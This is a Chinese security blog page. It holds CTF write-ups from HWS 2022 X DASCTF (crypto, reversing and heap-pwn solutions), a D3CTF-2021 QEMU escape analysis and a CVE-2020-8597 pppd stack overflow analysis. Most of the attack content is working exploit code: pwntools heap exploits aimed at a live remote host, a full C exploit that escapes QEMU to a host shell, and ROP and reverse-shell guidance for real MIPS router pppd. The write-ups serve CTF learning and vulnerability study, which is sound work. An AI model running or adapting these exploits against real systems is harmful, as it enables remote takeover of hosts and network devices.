HWS 2022 X DASCTF Jan

想起来也挺久没发过文章了,这次复制粘贴一下刷一下存在感

这次可能题目不太对口吧,取得的成绩不太理想,结果wp也就只是随便写写了

badPDF

去年原题,去Temp目录找cSi1r0uywDNvDu.tmp文件就行了,没什么好说的

就是flag格式没说清楚,也没想到是括号内内容,不然一血有了

flag{e27d3de27d3de27d3d7d3de27dde27d3}

Accelerate your time

直接反编译dex就行了

爆破即可

from hashlib import md5

username = 'Android'
check = [6, 28, 1, 19, 27, 5, 29]
password = ''.join([chr(check[i]^ord(username[i])) for i in range(len(check))])
print(password)

def encodeMD5(str):
    return md5(str).hexdigest()[8:24]

cmp_md5 = '1a9852e856816224'
for h in range(24):
    for m in range(60):
        for s in range(60):
            enc_md5 = encodeMD5(str(h)+str(m)+str(s))
            if encodeMD5('flag{' + enc_md5 + '}' + username + password) == cmp_md5:
                exit(enc_md5)

80d0169d22da3c35

babyrsa

上factordb查N,可以查到p和q,然后写脚本就是了

p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
N = p*q
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524

def decrypt(c,N,d):
	return pow(c,d,N)

def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
 
def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)

if __name__ == "__main__":
    fn = (p - 1) * (q - 1)
    d = computeD(fn, e)
    print(d)
    m = decrypt(c,N,d)
print(hex(m)) # hwctf{01d_Curs3_c4Me_Again}

EasyVM

用十六进制编辑器替换一下je、jne、call的花指令,直接丢进IDA逆即可

逆出来的虚拟机长这样

CA 00 00 00 00 CB 00 00  00 00 CC CF C9 EE 00 00
00 CF D1 D3 01 FE C2 D2  39 00 00 00 D4 EC FF 00

mov r2,0
mov r3,0		; r3=idx
mov r1,ipt[r3]
xor r2,r1
mov r1,0xEE
xor r2,r1
cmp r2,flag[r3]
je +1
ret 0
inc r3
cmp r3,0x39
jne -20
ret 1

BE 36 AC 27 99 4F DE 44  EE 5F DA 0B B5 17 B8 68
C2 4E 9C 4A E1 43 F0 22  8A 3B 88 5B E5 54 FF 68
D5 67 D4 06 AD 0B D8 50  F9 58 E0 6F C5 4A FD 2F
84 36 85 52 FB 73 D7 0D  E3

写个脚本完事

from base64 import b64decode

flag = [0xBE,0x36,0xAC,0x27,0x99,0x4F,0xDE,0x44,0xEE,0x5F,0xDA,0x0B,0xB5,0x17,0xB8,0x68, \
        0xC2,0x4E,0x9C,0x4A,0xE1,0x43,0xF0,0x22,0x8A,0x3B,0x88,0x5B,0xE5,0x54,0xFF,0x68, \
        0xD5,0x67,0xD4,0x06,0xAD,0x0B,0xD8,0x50,0xF9,0x58,0xE0,0x6F,0xC5,0x4A,0xFD,0x2F, \
        0x84,0x36,0x85,0x52,0xFB,0x73,0xD7,0x0D,0xE3]

for i in range(len(flag)-1,0,-1):
    flag[i] ^= flag[i-1]^0xEE
flag[0] ^= 0xEE
print(flag)

k = [0x0A,0x0B,0x0C,0x0D]
for i in range(len(flag)):
    flag[i] = chr(flag[i]^k[i%4])
print(flag)

print(b64decode(''.join(flag)))

送分题

这题漏洞是uaf,因为是0x1000的size,free后直接进unsortedbin,直接用来打global_max_fast即可任意写堆地址,利用思路是覆盖__printf_arginfo_table,__printf_function_table(非0即可),然后触发printf直接getshell

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#p = process('./pwn')
p = remote('1.13.162.249',10001)

sla('size?\n',str(0xc30*2-8)) # arginfo(register_printf_function)
sla('size?\n',str(0x4a18*2-8)) # function(0x4af8)

sla('(y/n)\n','y')
ru('is:')
dump_addr = u64(rc(6) + b'\0\0')
libc_base = dump_addr-0x3ebca0
global_max_fast = libc_base+0x3ed940
log.warn('dump_addr --> %s',hex(dump_addr))
success('libc_base --> %s',hex(libc_base))
success('global_max_fast --> %s',hex(global_max_fast))

#attach(p,'b free\nc')
sla('name!\n',p64(global_max_fast-0x10)*2)
sla('(1:big/2:bigger)\n','1')
sla(':\n',b'a'*(ord('s')-2)*8 + p64(libc_base+0x4f3c2))

p.interactive() # flag{5hen_m3_5hi_kuai_1e_xin9_Qiu}

peach

这题虽然做出来了,但是差了几分钟,超时了(主要是爆破太浪费时间)

题目里有几个漏洞点,题目难点在于没有泄露libc地址的地方,开了seccomp

首先是Get操作,name的长度可以覆盖后面的堆指针和size值(但是这个漏洞用不到),然后是当用户提供一个范围外的size时可以构造uaf。

Eat操作没用,这里不解释了,纯摆设的功能。

Draw函数只能使用一次,可以堆溢出修改下一个chunk的地址

没什么特别的,略。

至于Throw函数,因为检测不严格,可以用来构造uaf

唯一一次uaf机会通过改末尾两个字节方式攻击tcache的fd到tcache结构体,劫持tcache结构体后可以一波骚操作。

首先准备一个unsortedbin,然后通过修改tcache结构体方式,也是改末尾两个字节来修改fd到libc的_IO_2_1_stdout_结构体,修改flag以及base的末位,泄露libc地址。

然后利用tcache结构体攻击__free_hook即可。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def new_uaf(i,n):
    sda(': ',p32(1) + b'\0')
    sla('? ',str(i))
    sda(': \n',n)
    sla(':\n','0')
def new(i,n,s,c):
    sda(': ',p32(1) + b'\0')
    sla('? ',str(i))
    sda(': \n',n)
    sla(':\n',str(s))
    sda(':\n',c)
def new_aft(i,n,s,c):
    sda(': ',p32(1) + b'\0')
    sla('?',str(i))
    sda(': ',n)
    sla(':',str(s))
    sda(':',c)
def free(i):
    sda(': ',p32(2) + b'\0')
    sla('?',str(i))
def edit(i,s,c):
    sda(': ',p32(4) + b'\0')
    sla('? ',str(i))
    sda(': \n',p32(s) + b'\0')
    sda('h \n',c)

succ = False
while not succ:
    try:
        #p = process('./peachw',aslr=True)
        p = remote('1.13.162.249',10003)

        sla('?\n','yes\0')
        ru('is ')
        stack_offset = int(ru('\n')[:-1])
        log.warn('stack_offset --> %s',hex(stack_offset))

        new(0,'a',0x248,'a')
        new(1,'a',0x248,'a')
        free(1)
        free(0)
        new_uaf(0,'a')

        edit(0,0x100,p64(0)*5 + p64(0x251) + b'\x10\xb0') # aslr
        new(1,'a',0x248,'a')
        new(2,'tcache',0x248,p64(0)*72)

        free(1)
        new(1,'libc',0x418,'a')
        new(3,'top',0x100,'a')
        free(1)
        free(2)
        new(2,'tcache',0x248,p64(0)*4 + p64(0x2000000) + p64(0)*38 + b'\x90\xb7') # -> unsorted
        free(3)
        new(3,'a',0x248,'a')
        free(2)
        new(2,'tcache',0x248,p64(0)*4 + p64(0x1000000) + p64(0)*38 + b'\x20\x77') # aslr

        new(1,'a',0x248,p64(0xfbad1800) + p64(0)*3 + b'\0')
        rc(0x18)
        dump_addr = u64(rc(8))
        log.warn('dump_addr --> %s',hex(dump_addr))
        assert hex(dump_addr)[:4] == '0x7f'
        succ = True
        libc_base = dump_addr-0x3d73e0
        hook_addr = libc_base+0x3dc8a8
        rop_entry = libc_base+0x4a830+53
        success('libc_base --> %s',hex(libc_base))
        success('hook_addr --> %s',hex(hook_addr))
        success('rop_entry --> %s',hex(rop_entry))

        free(2)
        new_aft(2,'tcache',0x248,p64(0)*3 + p64(0x10000) + p64(0)*30 + p64(hook_addr)) # 0x1c0
        free(2)

        # 0x234c3 : pop rax ; ret
        # 0x3dd058 : environ
        # 0x138a28 : mov rax, qword ptr [rax] ; ret
        # 0x17a41d : sub rax, r8 ; ret
        # 0x133ed5 : mov rdx, rax ; ret
        # 0x133a84 : add rdi, rdx ; mov qword ptr [r9], rdi ; ret
        # 0x78460 : puts
        # 0x3bf00 : exit
        chain = p64(libc_base+0x234c3) + p64(libc_base+0x3dd058) + p64(libc_base+0x138a28) \
              + p64(libc_base+0x17a41d) + p64(libc_base+0x133ed5) + p64(libc_base+0x133a84) \
              + p64(libc_base+0x78460) + p64(libc_base+0x3bf00)
        new_aft(2,'a',0x1b8,p64(rop_entry) + p64(0)*4 + p64(0x208) + p64(hook_addr) + p64(0)*13 + p64(hook_addr+0xa0) + chain)
        #attach(p,'b *(setcontext+53)\nc')
        free(2)

        p.interactive() # flag{G0od job~~~This is the real peach you get~}
    except:
        p.close()
        continue

关于本站最近概况

由于不可抗力(其实就是本站之前使用的主机商跑路了,然后那段时间我都偷懒没备份数据)

最终导致很多数据丢失。现在部分文章无法显示图片、部分页面无法打开也是因为这个原因。。

只能说,我尽力恢复吧~我也没抱太大期望就是了

D3CTF-2021 d3dev 漏洞分析及复现

0x00 废话环节

比赛的时间是3.5到3.7(也就是前几天),当时看了一下pwn第一题,记得题目描述里出现了三连——easy-signin-baby,感觉应该是pwn里面最简单的一题了,准备开搞~

解压出来是一个docker环境,将rootfs用binwalk解压,看一下启动脚本,给的root权限,应该是虚拟机逃逸题了

#!/bin/sh

mkdir /tmp
mount -t tmpfs none /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

mdev -s

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "Interactive mode\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为root
umount /proc
umount /sys
poweroff -d 0 -f

这题当时比赛的时没有做出来(主要是去玩某个新玩具了,也没做过这类题目,所以就没继续做下去)

最后在github上找到的一个6小时前创建的叫d3ctf-2021-pwn-d3dev的仓库,据Readme来看应该是出题人发的,简单的讲了一下解题思路,丢了个exp,于是我也跟着分析、复现了一次,顺便也写个文章记录一下~

0x01 前置知识

1. Qemu

qemu的基本就是模拟了CPU、内存、I/O设备以及其他设备,如果开启了kvm,kvm会实现CPU以及内存的虚拟

CTF的qemu逃逸类题目基本上都是直接修改了qemu的源码,在这题里面,出题人在qemu里添加了一个pci设备,解题思路是通过设备中的漏洞以此获取host机上的flag

qemu的详细实现原理因为有大佬详细讲过了,想要了解的可以在文末找到相关主题链接自行阅读

2. PCI设备

与qemu的虚拟设备进行I/O交互通常有以下两种方式,分别是MMIO和PMIO,区别在于是否与设备共享内存,在这题里面我们两种都有用到

1. 内存映射(MMIO)

这种方法简单来讲就是直接操作I/O设备的共享内存空间,以此来交互,实现方法就是直接调用mmap映射内存,然后直接通过指针读写
mmap的fd参数为open以下两个文件之一,flags参数需要传递MAP_SHARED属性

  1. 设备内存(据说有些题目用不了这种): /sys/devices/pci0000:00/0000:00:??.?/resource0
  2. 整个物理内存: /dev/mem

2. 端口映射(PMIO)(resource1)

不共享内存空间,需要调用inx和outx函数来进行交互(要先调用iopl(3)来提权

0x02 漏洞分析

直接把qemu丢进IDA分析,然后看一下qemu的启动脚本,可以看到有个device参数后面跟了个d3dev,这应该就是漏洞所在的设备名

#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

因为qemu二进制文件里有DWARF(调试信息),所以直接通过搜索函数名来定位相关函数是可以的,这里还有一种方法是从_start开始逐步跟下去找到初始化表,然后定位pci设备的注册表
具体流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types

找到虚拟设备的info表后,我们可以定位到设备的初始化函数d3dev_class_init
在函数d3dev_class_init里,我们可以找到设备的vendor_id和device_id,这两个值在后面查询pci设备的时候会用到,这里我们先记下来

void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass_0 *v2; // rax
  v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
                             a1,
                             (const char *)&env.tlb_table[1][115]._anon_0.dummy[31],
                             "/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
                             229,
                             "d3dev_class_init");
  v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;
  v2->exit = 0LL;
  *(_DWORD *)&v2->vendor_id = 0x11E82333;       // vendor=2333 device=11E8
  v2->revision = 0x10;
  v2->class_id = 0xFF;
}

跟进pci_d3dev_realize函数里,这里分别定义了设备的两种I/O交互操作函数(即mmio和pmio)以及共享区域的大小(mmio为0x800),以便qemu检查是否越界

void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp)
{
  memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);
  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);
  pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}

在d3dev_mmio_ops和d3dev_pmio_ops两个结构体里面,可以找到对应的read、write函数: d3dev_mmio_read、d3dev_mmio_write和d3dev_pmio_read、d3dev_pmio_write 这四个

.data.rel.ro:0000000000B78980 d3dev_mmio_ops  dq offset d3dev_mmio_read; read
.data.rel.ro:0000000000B78980                 dq offset d3dev_mmio_write; write
...
.data.rel.ro:0000000000B78920 d3dev_pmio_ops  dq offset d3dev_pmio_read; read
.data.rel.ro:0000000000B78920                 dq offset d3dev_pmio_write; write

逐个函数分析,我们可以看到d3dev_mmio_write函数里面有一个任意写

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  ...
  if ( size == 4 )
  {
    offset = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
      ... // 这部分后文会细讲
    }
    else
    {
      opaque->mmio_write_part = 1;
      opaque->blocks[offset] = (unsigned int)val;// 任意写
    }
  }
}

通过查看结构体我们可以发现blocks的大小刚好是0x800,也就是我们共享内存的区域,在这里我们有val、addr可控,但实际上不能通过直接控制addr来溢出,因为PCI设备在内部会检查这个地址是否越界

这里其实seek的值也是可控的,具体在d3dev_pmio_write函数里,控制seek我们就可以利用这个任意写漏洞(注意这里是通过index的方式访问内存,数组元素大小为8字节

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;                       // 控制seek
  }
  ...
}

这里我们可以看到val值可以是0-0x100之间的任意值,相当于可以溢出控制0x800大小的内存

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  ...
  data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读
  low = data;
  high = HIDWORD(data);
  ... // 这里做了异或加密,后面会提到,这里省略
  return high;
}

继续分析其他函数,我们可以看到d3dev_mmio_read函数里其实还有任意读漏洞,分析到这里我们就有了任意读写d3devState这个结构体附近的内存

现在我们接着分析,看看有什么地方可以利用来执行system(“sh”)

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    ...
  }
  else if ( addr > 8 )
  {
    if ( addr == 28 )
    {
      opaque->r_seed = val;                     // "sh"
      key = opaque->key;
      do
        *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system
                   &opaque->r_seed,
                   28LL,
                   val,
                   *(_QWORD *)&size);
      while ( key != (uint32_t *)&opaque->rand_r );
    }
  }
  ...
}

还是d3dev_pmio_write这个函数里(前文对这个函数的这部分进行了省略),通过rand_r指针调用了函数,函数的首个参数是r_seed,r_seed这个值我们可以直接通过val控制(这里直接写字符串”sh”即可),而rand_r的值需要我们用任意写来修改(改成system的地址),这样我们就成功获取了宿主机的shell

0x03 编写exp

1. 加解密流程

前面在讲任意读、写漏洞的时候我们省略了加解密的过程,这里简单的说一下,我们先分析d3dev_mmio_read函数

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t data; // rax
  unsigned int i; // esi
  unsigned int low; // ecx
  uint64_t high; // rax
  ...
  i = 0xC6EF3720;
  low = data; // data为seek和addr控制的指针指向的8字节数据
  high = HIDWORD(data);
  do
  {
    LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * low
    low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);
    i += 0x61C88647;
  }
  while ( i );
  ...
  return high;
}

我们读出数据的时候数据被进行了异或加密的处理,其中16*low这里算一下相当于左移4位(直接看汇编也可以)
其次是这里用到了结构体里面的key数组,通过分析可以知道这个key参数实际上是可控的,通过调用d3dev_pmio_write函数可以直接清零整个key数组

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    ...
  }
  else if ( addr > 8 )
  {
    ...
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *(_QWORD *)opaque->key = 0LL;             // key[0] = key[1] = 0
      *(_QWORD *)&opaque->key[2] = 0LL;         // key[2] = key[3] = 0
    }
  }
  else
  {
    ...
  }
}

在这里我们可以看到ida的反汇编结果有一个类型强转,0是64位,而key则是有4个32位元素的数组,这两行操作相当于清零了整个key数组

至于这个函数里对数据的解密实际上只是加密的逆操作(就是F5出来难看了点),不详细讨论

2. 计算seek值

由于我们需要把rand_r的地址覆盖成system的地址,接下来我们需要计算共享内存开始到rand_r的偏移

00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

从前面任意写漏洞我们可以知道blocks即使我们共享内存的区域,从blocks到rand_r的偏移是0x818,blocks是8字节数组,计算0x818/8=0x103也就是数组的index值,我们可以直接把seek的值设置成0x100,然后将addr往后偏移3*8=24个字节即可对rand_r进行修改

3. 获取基址

设备的pci地址我们可以直接通过执行指令lspci来查看

# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 00ff: 2333:11e8
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

通过开头记下的vendor_id和device_id我们可以看出00:03.0对应的就是d3dev设备pci,然后通过cat /sys/devices/pci0000:00/0000:00:03.0/resource可以找到mmio和pmio的基址

# cat /sys/devices/pci0000:00/0000:00:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

febf1000即为mmio基址,c040即为pmio基址

0x04 测试exp

这题由于可以直接通过静态分析的结果写出exp,故省略gdb调试qemu环节(其实主要因为我不会调试docker里的qemu,有大佬知道可以留言)

exp可以通过两种方法传到客户机,分别是直接通过python脚本压缩然后b64上传(远程),或者直接修改rootfs然后重新打包回去

这里介绍第二种方法,为了方便测试我们可以直接写一个Makefile

exp:
	musl-gcc exp.c -o exp --static -Os
	strip -s exp
	find . | cpio -H newc -ov -F ../rootfs.cpio
	rm exp

之后我们直接cd到rootfs然后make即可,记得也要修改一下launch.sh,将rootfs.img改为rootfs.cpio
然后根据题目readme重新打包docker镜像、运行即可

至于第一种方法,基本上脚本都一样的写法,没什么好说的

0x05 完整exp

脚本可以在文末我的Github仓库里下载

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

#define libc_system_offset 0x55410
#define libc_rand_r_offset 0x4aeb0

const uint32_t mmio_phy_base = 0xfebf1000;
const uint32_t mmio_mem_size = 0x800;
const uint32_t pmio_phy_base = 0xc040;

const char sys_mem_file[] = "/dev/mem";

uint64_t mmio_mem = 0x0;

int die(const char *err_info){
    printf("[-] Exit with: %s\n.", err_info);
    exit(-1);
}

void *mmap_file(const char *filename, uint32_t size, uint32_t offset){
    int fd = open(filename, O_RDWR|O_SYNC);
    if(fd<0){
        printf("[-] Can not open file: '%s'.\n", filename);
        die("OPEN ERROR!");
    }
    void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
    if(ptr==MAP_FAILED){
        printf("[-] Can not mmap file: '*%s'.\n", filename);
        die("MMAP ERROR!");
    }
    close(fd);
    return ptr;
}

//mmio op
void mmio_write(uint64_t addr, uint64_t val){
    *(uint64_t *)(mmio_mem+addr) = val;
}

uint64_t mmio_read(uint64_t addr){
    return *(uint64_t *)(mmio_mem+addr);
}

//pmio op
void pmio_write(uint32_t addr, uint32_t val){
    outl(val, pmio_phy_base+addr);
}

uint32_t pmio_read(uint32_t addr){
    return inl(pmio_phy_base+addr);
}

void decode(uint32_t v[2]){
    uint32_t i = 0;
    do{
        i -= 0x61C88647;
        v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
        v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
    } while(i!=0xC6EF3720);
}

void encode(uint32_t v[2]){
    uint32_t i = 0xC6EF3720;
    do{
        v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
        v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
        i += 0x61C88647;
    } while(i);
}

int main(){
    mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);
    printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));
    if(iopl(3)) die("PMIO PERMISSION ERROR!");

    pmio_write(0, 1);       // memory_mode = 1
    pmio_write(4, 0);       // key[0-3] = 0
    pmio_write(8, 0x100);   // seek = 0x100
    printf("[*] Set block seek: %#x.\n", pmio_read(8));

    uint64_t glibc_randr = mmio_read(24);
    decode(&glibc_randr);
    printf("[*] rand_r@glibc %#lx.\n", glibc_randr);
    uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;
    printf("[+] system@glibc: %#lx.\n", glibc_system);

    encode(&glibc_system);
    printf("[*] Overwrite rand_r ptr.\n");
    mmio_write(24, glibc_system);

    pmio_write(28, 0x6873); // "sh"
    return 0;
}

0x06 exp运行结果

不出意外执行结果是这样的,我们成功获取到了host的shell

0x07 参考

[原创]QEMU逃逸初探-二进制漏洞 – 看雪论坛
strng2 湖湘杯 2019 – 安全客
出题人写的github仓库(不知道为什么404了)

0x08 附件

Github(什么时候有文件大小限制的…)
题目和idb(提取码: qjrg)

CVE-2020-8597漏洞分析及复现

0x00 前情提要

嗯,没想到前几分钟还在写更新计划的我,现在已经在写这篇文字了。。(实际上是因为这个漏洞本人之前就已经分析复现过了,只差最后调试漏洞的过程,刚刚写完更新计划,想着要不现在就把这个也顺便写一下吧,我怕之后太懒了就给直接鸽了就不太好、、)

首先是为什么突然会关注到这个漏洞呢,事情起源于本人对于校园网的不满,我们校园网如果连WIFI的话,限速2MB/s(在哪都一样,在教学楼你可能甚至还连不上),打着打着游戏突然给你断了也是常有的事(一句话概括就是太垃圾)

然后为了改善一下我的上网体验(当然,是在宿舍),我就得购置一款路由器,而为了应付校园网的认证,还必须修改路由器固件,最后选择了红米的AC2100这款路由器。

关于这款路由器的刷写固件方法,百度一下基本上都是同一种,使用近期pppd爆出的一个存在长达17年的漏洞Poc来反弹shell,然后使用mtd命令进行Bootloader刷入工作,之后通过bootloader刷写自己的固件。

而这个漏洞就是本文的主题——CVE-2020-8597。

该漏洞 CVSS 评分 9.8,影响软件版本跨度长达17年。攻击者可以通过特制的流量包,远程攻击开放 PPPD 服务的服务器。因为 PPPD 通常以root(unix最高权限)运行,攻击成功可完全取得服务器控制权限。

CVE-2020-8597: PPPD 远程代码执行漏洞通告

0x01 漏洞原理

这个漏洞属于栈溢出漏洞,由于pppd属于开源软件,我们直接来看源码

漏洞点位于EAP-MD5数据包的处理过程(具体为eap_request和eap_response函数)

漏洞点(这里稍微简化了一下,原版在这里

从上图中我们可以看到,vallen是从数据包里提取的数据,属于用户可控变量

而问题出在第二个if判断上,这个判断会必定不成立,会进入else分支,因而我们可以通过控制栈来控制程序执行流。

而通常pppd运行在路由器等网络终端设备,通常不支持或不积极开启NX保护,我们可以直接把shellcode写入到栈来执行。

0x02 EAP-MD5数据包格式

由于漏洞出现在pppd对于EAP-MD5的处理里面,所以我们需要先了解一下数据包的格式以便后续漏洞利用工作(对于协议的具体用途并非本文重点,这里不进行介绍,有兴趣的自信查找相关资料)。

EAP-MD5数据包(如有错误请指出)

如图所示,我们主要利用的就是最下面的Data区域

源码中vallen=EAP-MD5的Size,len=EAP的Length-6

0x03 Mips架构

这里由于路由器是Mips架构的,我们需要知道一点Mips的知识(这里博主其实也是现学现卖,详细的不懂。。)

首先是Mips本身不支持NX保护(前文有提到)

然后就是寄存器主要分为四组,s组寄存器在过程调用中需保存,而t组不用,v0-v1寄存器用作返回值,a0-a3则用来传参。间接跳转则通常由$t9寄存器实现。

指令部分,jr指令相当于x86的jmp指令,jalr则是相当于x86的call指令。

还有就是关于shellcode直接写入到栈执行,在Mips上有一个坑需要注意一下

因为 MIPS 流水线指令集的特点,存在 cache incoherency 的特性,需要手动调用 sleep 函数,将数据区刷新到指令区当中去,从而可以正常执行 shellcode。

固件安全之MIPS架构栈溢出利用技巧

0x04 静态分析

从路由器上提取pppd和libuClibc,使用IDA进行静态分析

直接搜索字符串
Ctrl+X查找引用
漏洞点

这里由于有源码我们可以直接对着源码对变量名、函数名进行初步还原

这里不知道是不是编译器直接给优化掉了连第二个if都没有,直接就是内存复制

由于函数末端有设置寄存器值的操作,我们可以直接拿来使用

将栈数据加载到寄存器

这里我们构造一条rop链,首先调用Sleep(1),然后跳到栈执行shellcode

对于Mips的Gadget查找,这里直接使用IDA的一个插件mipsrop,注意安装的时候要使用里面的install.py

我们首先找一条用来调用Sleep(1)的Gadget,先设置a0,然后jr跳过去执行,具体通过mipsrop.find("move $a0,")命令查找

返回结果中选一条jr的即可,之后将s0覆盖为sleep函数地址,s1覆盖为1即可

然后我们将ra寄存器覆盖为libc里的一些通用Gadget,我个人喜好直接在定位到sigaction函数然后找引用

通用Gadget

基本上任选一条都有以上类似的结构,这里我们只需要把s5覆盖为我们之前找的那条Gadget的地址,然后s3为栈地址即可

0x05 Exp编写

这里为了节省时间我直接用了网上的版本进行魔改

具体shellcode直接上网找现成的反弹shell即可,比如这个

